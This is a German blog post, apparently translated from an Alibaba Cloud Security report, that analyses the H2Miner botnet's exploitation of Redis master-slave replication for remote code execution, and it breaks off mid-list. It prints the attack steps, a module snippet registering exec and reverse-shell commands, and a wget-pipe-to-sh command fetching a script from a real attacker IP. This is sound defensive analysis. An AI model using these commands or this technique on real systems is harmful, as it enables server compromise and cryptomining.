{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Ein neuer Ausbruch von H2Miner-W\u00fcrmern wurde entdeckt, die Redis RCE ausnutzen","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Vor einem Tag wurde einer der Server meines Projekts von einem \u00e4hnlichen Wurm angegriffen. Auf der Suche nach der Antwort auf die Frage \u201eWas war das eigentlich?\u201c stie\u00df ich auf einen hervorragenden Artikel des Alibaba Cloud Security-Teams. Da ich diesen Artikel nicht auf Habr gefunden habe, habe ich beschlossen, ihn speziell f\u00fcr euch zu \u00fcbersetzen <3\n<\/p><\/blockquote>\n

Einleitung<\/h2>\n

\nK\u00fcrzlich entdeckte das Sicherheitsteam von Alibaba Cloud einen pl\u00f6tzlichen Ausbruch von H2Miner. Diese Art von Schadsoftware nutzt fehlende Authentifizierung oder schwache Passw\u00f6rter f\u00fcr Redis als Eingang zu euren Systemen, synchronisiert dann ihr eigenes b\u00f6sartiges Modul \u00fcber die Master-Slave-Synchronisation und l\u00e4dt schlie\u00dflich dieses b\u00f6sartige Modul auf die angegriffene Maschine hoch und f\u00fchrt die sch\u00e4dlichen Anweisungen aus.<\/p>\n

Fr\u00fcher erfolgten Angriffe auf Ihre Systeme haupts\u00e4chlich durch Methoden, die geplante Aufgaben oder SSH-Schl\u00fcssel beinhalteten, die nach dem Eindringen eines Angreifers in Redis auf Ihrer Maschine hinterlegt wurden. Gl\u00fccklicherweise kann diese Methode aufgrund von Berechtigungsproblemen oder unterschiedlichen Systemversionen nicht h\u00e4ufig verwendet werden. Dennoch kann diese Methode des Zugriffs auf b\u00f6sartige Module direkt die Befehle des Angreifers ausf\u00fchren oder Zugang zur Shell gew\u00e4hren, was f\u00fcr Ihr System gef\u00e4hrlich ist.<\/p>\n

Aufgrund der gro\u00dfen Anzahl Server<\/a> von Redis-Instanzen, die im Internet verf\u00fcgbar sind (fast 1 Million), empfiehlt das Sicherheitsteam von Alibaba Cloud als freundliche Erinnerung den Nutzern, keinen Zugriff auf Redis \u00fcber das Netzwerk zu gew\u00e4hren und regelm\u00e4\u00dfig die Sicherheit ihrer Passw\u00f6rter zu \u00fcberpr\u00fcfen, um sicherzustellen, dass sie nicht anf\u00e4llig f\u00fcr Brute-Force-Angriffe sind.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner \u2014 ein Mining-Botnet f\u00fcr Linux-basierte Systeme, das auf verschiedene Weisen in Ihr System eindringen kann. Dazu geh\u00f6ren unautorisierte Zugriffe auf Hadoop Yarn, Docker und eine Schwachstelle zur remote Code-Ausf\u00fchrung in Redis (RCE). Das Botnet funktioniert, indem es b\u00f6sartige Skripte und Malware herunterl\u00e4dt, um Ihre Daten zu minen, die Angriffsfl\u00e4che zu erweitern und eine Command-and-Control (C&C) Verbindung aufrechtzuerhalten.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nDie Erkenntnisse zu diesem Thema wurden von Pavel Toporkov auf den ZeroNights 2018 geteilt. Nach der Version 4.0 unterst\u00fctzt Redis die Funktion zum Hochladen externer Module, die es Benutzern erm\u00f6glicht, so-Dateien, die mit C kompiliert wurden, in Redis zu laden, um bestimmte Redis-Befehle auszuf\u00fchren. Diese Funktion ist zwar n\u00fctzlich, birgt jedoch eine Schwachstelle, bei der Dateien im Master-Slave-Modus \u00fcber den Fullresync-Modus mit dem Slave synchronisiert werden k\u00f6nnen. Ein Angreifer k\u00f6nnte dies nutzen, um b\u00f6sartige so-Dateien zu \u00fcbertragen. Nach Abschluss der \u00dcbertragung laden die Angreifer das Modul auf die angegriffene Redis-Instanz und f\u00fchren beliebige Befehle aus.<\/p>\n

Analyse des b\u00f6sartigen Wurms<\/h2>\n

\nK\u00fcrzlich hat das Sicherheitsteam von Alibaba Cloud festgestellt, dass die Gruppe der b\u00f6sartigen Miner H2Miner pl\u00f6tzlich stark gewachsen ist. Laut der Analyse verl\u00e4uft der gesamte Prozess der Angriffsentstehung folgenderma\u00dfen:<\/p>\n

\"Ein
\n
\nH2Miner nutzt RCE Redis f\u00fcr einen umfassenden Angriff. Zun\u00e4chst greifen die Angreifer ungesicherte Redis-Server oder Server mit schwachen Passw\u00f6rtern an.<\/p>\n

Anschlie\u00dfend verwenden sie den Befehl config set dbfilename red2.so<\/code> um den Dateinamen zu \u00e4ndern. Danach f\u00fchren die Angreifer den Befehl slaveof<\/code> aus, um die Adresse des Master-Slave-Replikationshosts festzulegen. <\/p>\n

Wenn die angegriffene Redis-Instanz eine Master-Slave-Verbindung mit dem b\u00f6sartigen Redis, das dem Angreifer geh\u00f6rt, herstellt, sendet der Angreifer ein infiziertes Modul \u00fcber den Befehl fullresync zur Synchronisation der Dateien. Daraufhin wird die Datei red2.so auf die angegriffene Maschine geladen. Anschlie\u00dfend verwenden die Angreifer das Lade-Modul .\/red2.so, um diese .so-Datei zu laden. Das Modul kann die Befehle des Angreifers ausf\u00fchren oder eine R\u00fcckverbindung (Backdoor) initiieren, um Zugriff auf die angegriffene Maschine zu erhalten.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nNach dem Ausf\u00fchren eines sch\u00e4dlichen Befehls wie \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, wird der Angreifer den Sicherungsdateinamen zur\u00fccksetzen und das Systemmodul entladen, um die Spuren zu verwischen. Dennoch bleibt die Datei red2.so auf dem angegriffenen System. Den Nutzern wird empfohlen, auf das Vorhandensein einer solchen verd\u00e4chtigen Datei im Verzeichnis ihrer Redis-Instanz zu achten.<\/p>\n
Neben der Zerst\u00f6rung einiger sch\u00e4dlicher Prozesse zur Ressourcenausbeutung folgte der Angreifer einem sch\u00e4dlichen Skript und lud b\u00f6sartige Dateien im Bin\u00e4rformat herunter und f\u00fchrte sie aus, um 142.44.191.122\/kinsing<\/a><\/noindex>. Dies bedeutet, dass der Prozessname oder der Ordnername, der kinsing auf dem Host enth\u00e4lt, darauf hinweisen kann, dass diese Maschine mit diesem Virus infiziert wurde.<\/p>\n
Laut den Ergebnissen der R\u00fcckentwicklung f\u00fchrt die Malware haupts\u00e4chlich die folgenden Funktionen aus:<\/p>\n